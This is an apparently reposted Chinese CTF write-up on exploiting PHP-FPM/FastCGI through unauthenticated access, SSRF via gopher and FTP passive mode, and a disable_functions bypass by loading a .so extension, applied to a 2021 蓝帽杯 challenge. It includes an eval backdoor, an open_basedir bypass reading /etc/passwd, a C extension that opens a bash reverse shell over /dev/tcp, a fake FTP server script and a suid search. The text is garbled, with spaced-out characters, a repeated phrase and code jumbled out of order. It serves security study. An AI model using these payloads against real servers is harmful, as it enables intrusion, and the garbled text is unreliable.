搜索

[19809] 2021-09-02_CTF真题解析丨浅谈PHP-FPM

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-09-02_CTF真题解析丨浅谈PHP-FPM C T F 真 题 解 析 丨 浅 谈 P H P - F P M i 春 秋   2 0 2 1 - 0 9 - 0 2 本 文 是   i   春 秋 论 坛 作 家 「 k a w h i 」 表 哥 分 享 的 技 术 文 章 ， 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 初 识 初 识 P H P - F P M 网 上 有 很 多 关 于 对 P H P - F P M 协 议 的 详 细 分 析 ， 小 伙 伴 可 自 学 了 解 。 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 知 识 点 来 了 P H P - F P M 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 早 期 的 W e b 服 务 器 只 处 理 h t m l 等 静 态 文 件 ， 随 着 技 术 发 展 ， 出 现 了 像 P H P 等 动 态 语 言 ， 但 是 W e b 服 务 器 并 不 能 处 理 它 ， 需 要 一 个 叫 做 P H P 解 释 器 的 东 西 来 处 理 ， 但 是 P H P 解 释 器 又 如 何 与 W e b 服 务 器 进 行 通 信 呢 ?   于 是 C G I 协 议 出 现 了 ， 它 能 实 现 语 言 解 释 器 与 W e b 服 务 器 的 通 信 ， 比 如 P H P - C G I ， 后 来 又 相 继 发 展 出 C G I 的 改 良 版 本 F a s t - C G I 通 讯 协 议 。 P H P - F P M 全 称 为 P H P - F a s t c g i   P r o c e s s   M a n a g e r ， 顾 名 思 义 是 F a s t - C G I 的 实 现 ， 并 提 供 了 进 程 管 理 的 功 能 ， 它 负 责 按 照 F a s t - C G I 的 协 议 将 T C P 流 解 析 成 真 正 的 数 据 ， P H P - F P M 默 认 监 听 9 0 0 0 端 口 ， 也 可 以 自 己 构 造 F a s t - C G I 协 议 和 P H P - F P M 进 行 通 信 。
简 单 来 说 ， n g i n x 会 把 我 们 的 请 求 变 成 k e y - v a l u e 键 值 对 ， 然 后 我 们 通 过 设 置   a u t o _ p r e p e n d _ f i l e   =   p h p : / / i n p u t   且   a l l o w _ u r l _ i n c l u d e   = O n ， 将 需 要 执 行 的 代 码 放 在 B o d y 中 ， 即 可 执 行 任 意 代 码 ， 最 后 传 入 的 环 境 变 量 大 概 如 下 ： 如 果 P H P - F P M 是 直 接 绑 定 在 公 网 （ 0 . 0 . 0 . 0 ） 上 的 ， 我 们 就 可 以 伪 装 成 W e b 服 务 器 中 间 件 来 让 P H P - F P M 执 行 代 码 ： 可 以 观 察 到 a u t o _ p r e p e n d _ f i l e 和 a l l o w _ u r l _ i n c l u d e 的 值 已 经 被 修 改 了 。 {         ' G A T E W A Y _ I N T E R F A C E ' :   ' F a s t C G I / 1 . 0 ' ,         ' R E Q U E S T _ M E T H O D ' :   ' G E T ' ,         ' S C R I P T _ F I L E N A M E ' :   ' / v a r / w w w / h t m l / i n d e x . p h p ' ,         ' S C R I P T _ N A M E ' :   ' / i n d e x . p h p ' ,         ' Q U E R Y _ S T R I N G ' :   ' ? a = 1 & b = 2 ' ,         ' R E Q U E S T _ U R I ' :   ' / i n d e x . p h p ? a = 1 & b = 2 ' ,         ' D O C U M E N T _ R O O T ' :   ' / v a r / w w w / h t m l ' ,         ' S E R V E R _ S O F T W A R E ' :   ' p h p / f c g i c l i e n t ' ,         ' R E M O T E _ A D D R ' :   ' 1 2 7 . 0 . 0 . 1 ' ,         ' R E M O T E _ P O R T ' :   ' 1 2 3 4 5 ' ,         ' S E R V E R _ A D D R ' :   ' 1 2 7 . 0 . 0 . 1 ' ,         ' S E R V E R _ P O R T ' :   ' 8 0 ' ,         ' S E R V E R _ N A M E ' :   " l o c a l h o s t " ,         ' S E R V E R _ P R O T O C O L ' :   ' H T T P / 1 . 1 '         ' P H P _ V A L U E ' :   ' a u t o _ p r e p e n d _ f i l e   =   p h p : / / i n p u t ' ,         ' P H P _ A D M I N _ V A L U E ' :   ' a l l o w _ u r l _ i n c l u d e   =   O n ' } p y t h o n   f p m . p y   i p   - p   9 0 0 0   / v a r / w w w / h t m l / i n d e x . p h p   - c   ' '
S S R F 中 的 中 的 F P M / F a s t C G I 如 上 所 述 ， 如 果 P H P - F P M 是 绑 定 在 1 2 7 . 0 . 0 . 1 ， 就 可 以 避 免 暴 露 在 内 网 ， 但 是 如 果 存 在 S S R F 漏 洞 的 话 ， 可 以 对 其 进 行 利 用 。 以 下 是 一 个 具 有 S S R F 漏 洞 的 代 码 ： 用 G o p h e r u s 生 成 p a y l o a d 然 后 填 一 个 已 知 文 件 和 需 要 执 行 的 命 令 即 可 编 码 后 给 u r l 传 即 可 利 用 方 式 利 用 方 式 如 果 目 标 主 机 上 正 在 运 行 着 P H P - F P M ， 并 且 有 一 个 f i l e _ p u t _ c o n t e n t s (   ) 函 数 的 参 数 是 可 控 的 ， 我 们 上 面 是 利 用 了 g o p h e r : / / 协 议 ， 但 是 f i l e _ p u t _ c o n t e n t s (   ) 函 数 并 不 支 持 它 ， 这 里 可 以 使 用 的 是 F T P 协 议 。 < ? p h p h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; $ u r l   =   $ _ G E T [ ' u r l ' ] ; $ c u r l   =   c u r l _ i n i t ( $ u r l ) ;         c u r l _ s e t o p t ( $ c u r l ,   C U R L O P T _ H E A D E R ,   0 ) ; $ r e s p o n s e T e x t   =   c u r l _ e x e c ( $ c u r l ) ; e c h o   $ r e s p o n s e T e x t ; c u r l _ c l o s e ( $ c u r l ) ; ? > p y t h o n   g o p h e r u s . p y   - - e x p l o i t   f a s t c g i
F T P 协 议 的 被 动 模 式 ： 客 户 端 试 图 从 F T P 服 务 器 上 读 取 / 写 入 一 个 文 件 ， 服 务 器 会 通 知 客 户 端 将 文 件 的 内 容 读 取 到 一 个 指 定 的 I P 和 端 口 上 ， 我 们 可 以 指 定 到 1 2 7 . 0 . 0 . 1 : 9 0 0 0 ， 这 样 就 可 以 向 目 标 主 机 本 地 的 P H P - F P M 发 送 一 个 任 意 的 数 据 包 ， 从 而 执 行 代 码 ， 造 成 S S R F 。 假 如 有 以 下 代 码 ： 我 们 先 用 g o p h e r u s 生 成 一 个 反 弹 s h e l l 的 p a y l o a d ， 截 取   _   后 面 的 部 分 。 关 于 F T P 的 返 回 码 ， 我 们 看 到 2 2 7 ： 可 以 用 它 来 进 入 被 动 模 式 ， h 和 p 分 别 为 地 址 和 端 口 ， 搭 建 一 个 F T P 服 务 器 ： 启 动 服 务 器 之 后 ， 再 监 听 反 弹 的 端 口 。 < ? p h p f i l e _ p u t _ c o n t e n t s ( $ _ G E T [ ' f i l e ' ] ,   $ _ G E T [ ' d a t a ' ] ) ; E n t e r i n g   P a s s i v e   M o d e   < h 1 , h 2 , h 3 , h 4 , p 1 , p 2 >   进 入 被 动 模 式 ( h 1 , h 2 , h 3 , h 4 , p 1 , p 2 ) i m p o r t   s o c k e t s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )   s . b i n d ( ( ' 0 . 0 . 0 . 0 ' ,   1 2 3 ) ) s . l i s t e n ( 1 ) c o n n ,   a d d r   =   s . a c c e p t ( ) c o n n . s e n d ( b ' 2 2 0   w e l c o m e n ' ) c o n n . s e n d ( b ' 3 3 1   P l e a s e   s p e c i f y   t h e   p a s s w o r d . n ' ) c o n n . s e n d ( b ' 2 3 0   L o g i n   s u c c e s s f u l . n ' ) c o n n . s e n d ( b ' 2 0 0   S w i t c h i n g   t o   B i n a r y   m o d e . n ' ) c o n n . s e n d ( b ' 5 5 0   C o u l d   n o t   g e t   t h e   f i l e   s i z e . n ' ) c o n n . s e n d ( b ' 1 5 0   o k n ' ) c o n n . s e n d ( b ' 2 2 7   E n t e r i n g   E x t e n d e d   P a s s i v e   M o d e   ( 1 2 7 , 0 , 0 , 1 , 0 , 9 0 0 1 ) n ' )   # S T O R   /   ( 2 ) c o n n . s e n d ( b ' 1 5 0   P e r m i s s i o n   d e n i e d . n ' ) c o n n . s e n d ( b ' 2 2 1   G o o d b y e . n ' ) c o n n . c l o s e ( ) h t t p : / / i p : 8 0 8 0 / f t p . p h p ? f i l e = f t p : / / @ i p : 1 2 3 / & d a t a = % 0 1 % 0 1 % 0 0 % 0 1 % 0 0 % 0 8 % 0 0 % 0 0 % 0 0 % 0 1 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 0 % 0 1 % 0 4 % 0 0 % 0 1 % 0 1 % 0
加 载 加 载 s o 扩 展 扩 展 为 什 么 要 加 载 s o 扩 展 ， 如 果 d i s a b l e _ f u n c t i o n s 过 滤 了 命 令 执 行 的 函 数 ， 我 们 再 用 f p m . p y 脚 本 测 试 。 虽 然 a u t o _ p r e p e n d _ f i l e 和 a l l o w _ u r l _ i n c l u d e 的 值 已 被 修 改 ， 正 常 来 说 就 可 以 执 行 任 意 代 码 ， 但 是 这 里 无 法 b y p a s s   d i s a b l e ， 所 以 需 要 加 载 一 个 s o 扩 展 来 b y p a s s 。 　 蚁 剑 插 件 原 理 蚁 剑 插 件 原 理 蚁 剑 有 一 个 P H P - F P M 绕 d i s a b l e 的 插 件 。 蚁 剑 的 b y p a s s 插 件 是 通 过 / b i n / s h   - c   p h p   - n   - S   1 2 7 . 0 . 0 . 1 : 6 0 0 4 9   - t   / v a r / w w w / h t m l ， 起 一 个 新 的   P H P   S e r v e r ， - n 是 不 使 用 p h p . i n i ， 从 而 实 现 b y p a s s   d i s a b l e _ f u n c t i o n s ， 然 后 在 插 件 的 源 码 可 以 看 到 ， 从 1 3 3 行 起 的 e x p l o i t (   ) 函 数 里 面 ， 有 一 个 生 成 扩 展 ， 上 传 扩 展 ， 最 主 要 的 部 分 是 从 1 9 7 行 开 始 构 造 请 求 包 利 用 P H P - F P M 用 来 加 载 扩 展 ， 关 键 代 码 如 下 ： 总 结 整 个 测 试 流 程 ： 首 先 生 成 扩 展 ， 利 用 P H P - F P M 执 行 扩 展 ， 然 后 会 在 目 标 机 器 本 地 开 启 一 个 新 的 W e b 服 务 器 ， 通 过 a n t p r o x y . p h p 转 发 到 无 d i s a b l e 的 p h p   s e r v e r 上 ， 就 成 功 达 成 b y p a s s   d i s a b l e _ f u n c t i o n 。 这 个 项 目 a n t _ p h p _ e x t e n s i o n 可 以 获 取 我 们 的 s o 扩 展 ， 这 里 需 要 通 过 编 译 之 后 生 成 ， 命 令 为 p h p i z e   & & . / c o n f i g u r e   & &   m a k e ， 这 里 p h p i z e 需 要 是 绝 对 路 径 ， 我 们 可 以 修 改 P H P - F P M 的 p h p . i n i 文 件 ， 在 最 后 一 行 1 9 7   v a r   p a y l o a d   =   ` $ { F a s t C g i C l i e n t ( ) } ; 1 9 8           $ c o n t e n t = " " ; 1 9 9           $ c l i e n t   =   n e w   C l i e n t ( ' $ { f p m _ h o s t } ' , $ { f p m _ p o r t } ) ;                 . . . 2 1 1           ' P H P _ V A L U E '   = >   ' e x t e n s i o n = $ { p } ' , 2 1 2           ' P H P _ A D M I N _ V A L U E '   = >   ' e x t e n s i o n = $ { p } ' ,
C T F 真 题 解 析 真 题 解 析 在 【 2 0 2 1   蓝 帽 杯 】 o n e _ P o i n t e r _ p h p 这 道 题 中 ， 首 先 给 出 两 个 文 件 ： a d d _ a p i . p h p 加 入 e x t e n s i o n = / v a r / w w w / h t m l / a n t . s o ， 表 示 加 载 这 个 扩 展 ， 再 重 启 P H P - F P M ， 写 一 个 P H P 文 件 测 试 一 下 。 成 功 执 行 命 令 时 即 说 明 扩 展 成 功 加 载 ， 然 后 再 把 p h p . i n i 还 原 ， 尝 试 直 接 利 用 P H P - F P M 来 修 改 其 配 置 项 。 < ? p h p a n t s y s t e m ( " l s   / " ) ;
u s e r . p h p 第 一 个 考 点 就 是 要 进 入 e l s e 语 句 里 面 ， 利 用 的 是 P H P 数 组 溢 出 绕 过 ， 我 们 给 c o o k i e 传 一 个 ： 然 后 写 一 个 木 马 进 去 ： 看 p h p i n f o 之 后 发 现 大 多 数 命 令 执 行 的 函 数 都 被 禁 了 ， 但 可 以 用 c h d i r (   ) 与 i n i _ s e t (   ) 读 文 件 ： < ? p h p i n c l u d e   " u s e r . p h p " ; i f ( $ u s e r = u n s e r i a l i z e ( $ _ C O O K I E [ " d a t a " ] ) ) {   $ c o u n t [ + + $ u s e r - > c o u n t ] = 1 ;         / /   数 组 $ c o u n t 的 第 几 个 属 性 赋 值 为 1   i f ( $ c o u n t [ ] = 1 ) {     $ u s e r - > c o u n t + = 1 ;     s e t c o o k i e ( " d a t a " , s e r i a l i z e ( $ u s e r ) ) ;   } e l s e {     e v a l ( $ _ G E T [ " b a c k d o o r " ] ) ;   } } e l s e {   $ u s e r = n e w   U s e r ;   $ u s e r - > c o u n t = 1 ;   s e t c o o k i e ( " d a t a " , s e r i a l i z e ( $ u s e r ) ) ; } ? > < ? p h p c l a s s   U s e r {   p u b l i c   $ c o u n t ; } ? > d a t a = O : 4 : " U s e r " : 1 : { s : 5 : " c o u n t " ; i : 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 6 ; }   / a d d _ a p i . p h p ? b a c k d o o r = f i l e _ p u t _ c o n t e n t s ( " 1 . p h p " , " " ) ;
读 取 / p r o c / s e l f / c m d l i n e 发 现 当 前 进 程 是 P H P - F P M ， 再 读 取 / e t c / n g i n x / s i t e s - a v a i l a b l e / d e f a u l t 。 发 现 关 键 信 息 f a s t c g i _ p a s s   1 2 7 . 0 . 0 . 1 : 9 0 0 1 ， P H P - F P M 绑 定 在 本 地 9 0 0 1 端 口 上 。 写 一 个 s o 扩 展 ： 然 后 编 译 一 下 ： 把 扩 展 上 传 到 服 务 器 上 ， 用 下 面 的 脚 本 生 成 一 个 p a y l o a d h t t p s : / / p h p . o k a w h i o . r e p l . c o / s t a t i c / 2 . p y 通 过 构 造   f i l e _ p u t _ c o n t e n t s (   )   与 v p s 上 的 F T P 服 务 器 建 立 连 接 ： < ? p h p m k d i r ( ' t e s t ' ) ; c h d i r ( ' t e s t ' ) ; i n i _ s e t ( ' o p e n _ b a s e d i r ' , ' . . ' ) ; c h d i r ( ' . . ' ) ; c h d i r ( ' . . ' ) ; c h d i r ( ' . . ' ) ; c h d i r ( ' . . ' ) ; i n i _ s e t ( ' o p e n _ b a s e d i r ' , ' / ' ) ; e c h o   f i l e _ g e t _ c o n t e n t s ( ' / e t c / p a s s w d ' ) ; ? > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > _ _ a t t r i b u t e _ _   ( ( _ _ c o n s t r u c t o r _ _ ) )   v o i d   p r e l o a d   ( v o i d ) {         s y s t e m ( " b a s h   - c   ' b a s h   - i   > &   / d e v / t c p / i p / p o r t   0 > & 1 ' " ) ; } g c c   a . c   - f P I C   - s h a r e d   - o   a . s o
可 以 看 到 成 功 反 弹 ， 然 后 查 看 具 有 s u i d 的 命 令 ， p h p   - a 交 互 后 直 接 读 f l a g 就 行 了 。 参 考 链 接 ： h t t p s : / / h a 1 c 9 o n . t o p / 2 0 2 1 / 0 4 / 2 9 / l m b _ o n e _ p o i n t e r _ p h p / 以 上 为 今 天 分 享 的 内 容 ， 小 伙 伴 们 看 懂 了 吗 ？ 文 章 素 材 来 源 于 i 春 秋 社 区 注 ： 文 章 内 容 仅 供 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 ， 否 则 后 果 自 行 承 担 ！ 往 期 推 荐 往 期 推 荐 C T F 新 手 攻 略 ： 超 8 0 % 的 人 点 赞 这 个 学 习 方 法 ！ 红 队 大 佬 经 验 分 享 ： 利 用 E x c h a n g e 漏 洞 分 析 大 家 好 ， 我 是 x x x e y J ， 低 调 实 力 派 的 网 络 安 全 爱 好 者 ！ / a d d _ a p i . p h p ? b a c k d o o r = $ f i l e % 2 0 = % 2 0 $ _ G E T [ ' f i l e ' ] ; $ d a t a % 2 0 = % 2 0 $ _ G E T [ ' d a t a ' ] ; f i l e _ p u t _ c o n t e n t s ( $ f i l e , $ d a t a ) ; & f i l e = f t p : f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l
九 月 开 班 计 划 九 月 开 班 计 划
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理